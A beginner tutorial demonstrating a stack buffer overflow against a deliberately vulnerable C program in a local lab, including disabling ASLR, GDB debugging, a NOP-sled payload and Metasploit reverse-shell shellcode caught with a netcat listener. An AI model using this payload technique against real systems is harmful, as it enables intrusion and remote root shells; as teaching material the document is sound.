-- Buffer Overflow Tutorial by Preddy - RootShell Security Group Hi we are going to do a basic stack overflow on a vulnerable program to get a reverse shell I apoligise for my english..it's not my native language Our vulnerable program: -- vuln-prog.c #include #include #include int bof(char *string) { char buffer[1024]; strcpy(buffer, string); return 1; } int main(int argc, char *argv[]) { bof(argv[1]); printf("Done..\n"); return 1; } -- vuln-prog.c this program takes a user supplied string and copies it into 'buffer' which can hold 1024 bytes of data. if a user sends 1040 bytes which is more then 1024 bytes.. it would cause the buffer to be overflowwed and it would overwrite parts of memory.. lets compile our vulnerable program: gcc vuln-prog.c -o vuln-prog We need to disable the linux VA patch to successfully exploit this basic overflow.. bash-3.00# cat /proc/sys/kernel/randomize_va_space 1 bash-3.00# echo 0 > /proc/sys/kernel/randomize_va_space bash-3.00# bash-3.00# cat /proc/sys/kernel/randomize_va_space 0 bash-3.00# We use a debugger called GDB to debug the program to see what happens if we send more then 1024 bytes.. bash-3.00# gdb ./vuln-prog GNU gdb 6.5 Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) we will use perl to supply a buffer which is larger then 1024 bytes and enough to overwrite parts of memory. (gdb) run `perl -e 'print "A"x1040'` Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x1040'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) as you can see we supplied a string which holds 1040 x A A is 0x41 in it's hexadecimal format.. now lets see what parts of our memory are overwritten.. (gdb) i r eax 0x1 1 ecx 0xfffff9e6 -1562 edx 0xbffff8aa -1073743702 ebx 0xb7fcc000 -1208172544 esp 0xbffff290 0xbffff290 ebp 0x41414141 0x41414141 esi 0xb7fce17c -1208163972 edi 0x2 2 eip 0x41414141 0x41414141 eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) this is a important part to look at: eip 0x41414141 0x41414141 eip is the Extended Instruction Pointer, eip contains the address to the next instruction.. so basicly it points to the address where the next piece of code will get executed.. so overwriting eip with an address which contains our own code would allow us to control the flow of the program.. we have overwritten eip with 41414141 which is AAAA but 41414141 does not contain any code and is a invalid part of memory to point to.. so we have to point it to our piece of code.. to execute our own piece of code we will use something called: SHELLCODE Shellcode also knows as Bytecode which contains a set of cpu instructons We will not discuss the process of making your own shellcode so we will use metasploit to generate our shellcode.. first of all we want to listen with netcat and wait for a shell to arrive so lets listen with netcat: bash-3.00# nc -l -p 9999 -vv listening on [any] 9999 ... netcat is listening on port 9999 now lets get our ip address.. bash-3.00# ifconfig |grep inet inet addr:10.0.0.153 Bcast:10.0.0.255 Mask:255.255.255.0 inet addr:127.0.0.1 Mask:255.0.0.0 our ip address is 10.0.0.153 now lets check if netcat is indeed listening.. bash-3.00# netstat -an |grep 9999 tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN as you can see netcat is listening on port 9999 Lets browse to: http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=linux_ia32_reverse to generate our shellcode.. Fill in the form: LHOST Required ADDR = 10.0.0.153 LPORT Required PORT = 9999 and click Generate Payload.. which generates us the following: /* linux_ia32_reverse - LHOST=10.0.0.153 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com */ "\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e" "\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c" "\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d" "\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6" "\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e" "\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16"; as you can see our shellcode is 96 bytes large. lets strip it off \x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16 this piece of shellcode will connect back to 10.0.0.153 on port 9999 where netcat is listening... and provide a shell now to find our shellcode in memory would be a pain in the ass and it wouln't we flexible so we need to use the NOP method. a NOP is a instruction which does nothing (No Operation - 0x90) so we place a set of NOP instructions (nopsled) before our shellcode and point eip to somewhere in our NOPSLED , our payload should look something like this [garbage data - A's (0x41)] - [nopsled] - [shellcode] - [eip] Now we need to calculate howmuch we exactly need to send: we used 1040 bytes to overflow eip with 0x41414141 eip is 4 bytes so: 1040 - 4 = 1036 then we need 96 bytes for our shellcode 1036 - 96 = 940 and we can use 940 bytes for our garbage data and our nopsled. ill use 340 bytes for our nopsled.. so thats 340 x 0x90 940 - 340 = 600 and there are 600 bytes left to use for garbage data thats 600 x A (0x41) our payload should look like this: 600 x A(0x41) + 340 x NOP(0x90) + 96 bytes of shellcode + 4 bytes of EIP = 1040 bytes PAYLOAD: `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","BBBB"'` we will overwrite eip with BBBB (0x42424242) for debugging purposes.. (gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","BBBB"'` Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) as you can see eip got overwritten with 0x42424242 which is BBBB and BBBB is the last part of our payload which we used to overwrite eip.. now we need to point eip to our nopsled instead of 0x42424242 lets analyze our memory and see where our nopsled is: (gdb) x/2000xb $esp now lets hit enter untill we see a huge set of NOP instructions (0x90) 0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6f0: 0x41 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff700: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff708: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff710: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff718: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff720: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff728: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff730: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff738: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff740: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff748: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff758: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff760: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff768: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff770: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff778: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff780: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff788: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff790: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 just before our NOPSLED we see our garbage data full of A's (0x41) thats how we constructed our payload before :) after our NOPSLED we have our shellcode: 0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff828: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff830: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff838: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff840: 0x90 0x90 0x90 0x90 0x90 0x31 0xc9 0x83 0xbffff848: 0xe9 0xee 0xd9 0xee 0xd9 0x74 0x24 0xf4 ---Type to continue, or q to quit--- 0xbffff850: 0x5b 0x81 0x73 0x13 0x5e 0x10 0xdb 0x16 0xbffff858: 0x83 0xeb 0xfc 0xe2 0xf4 0x6f 0xcb 0x88 0xbffff860: 0x55 0x0d 0x7a 0xd9 0x7c 0x38 0x48 0x52 0xbffff868: 0xf7 0x93 0x90 0x48 0x4f 0xee 0x2f 0x16 0xbffff870: 0x96 0x17 0x69 0x22 0x4d 0x04 0x78 0xd1 0xbffff878: 0x16 0x5e 0x89 0xbd 0x7e 0x79 0x1f 0x98 0xbffff880: 0x70 0x0d 0x99 0x3a 0xa6 0x38 0x40 0x8a 0xbffff888: 0x45 0xd7 0xf1 0x98 0xdb 0xde 0x42 0xb3 our shellcode starts with \x31 as you can see.. now we need to overwrite eip so it points to somewhere in our set of NOP instructions it will execute the NOP instructions till it reaches our shellcode and when it executes our shellcode it will bring us a reverse shell on port 9999.. so lets choose an address which is in our nopsled.. 0xbffff740 lets write it in little-endian format (reversely) \x40\xf7\xff\xbf and lets place that in our payload.. so it will look like this: `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'` lets run the program with gdb and our payload as an argument.. (gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'` now let's turn back netcat which we left listening on port 9999 bash-3.00# nc -l -p 9999 -vv listening on [any] 9999 ... 10.0.0.153: inverse host lookup failed: No address associated with name connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126 as you can see we overflowwed the buffer and got ourselves a reverse shell :D bash-3.00# nc -l -p 9999 -vv listening on [any] 9999 ... 10.0.0.153: inverse host lookup failed: No address associated with name connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),17(audio),18(video),19(cdrom) uname -a Linux hp 2.6.17.6 #1 SMP PREEMPT Sun Jul 16 14:49:45 CEST 2006 i686 unknown unknown GNU/Linux Cya around guys.. Preddy..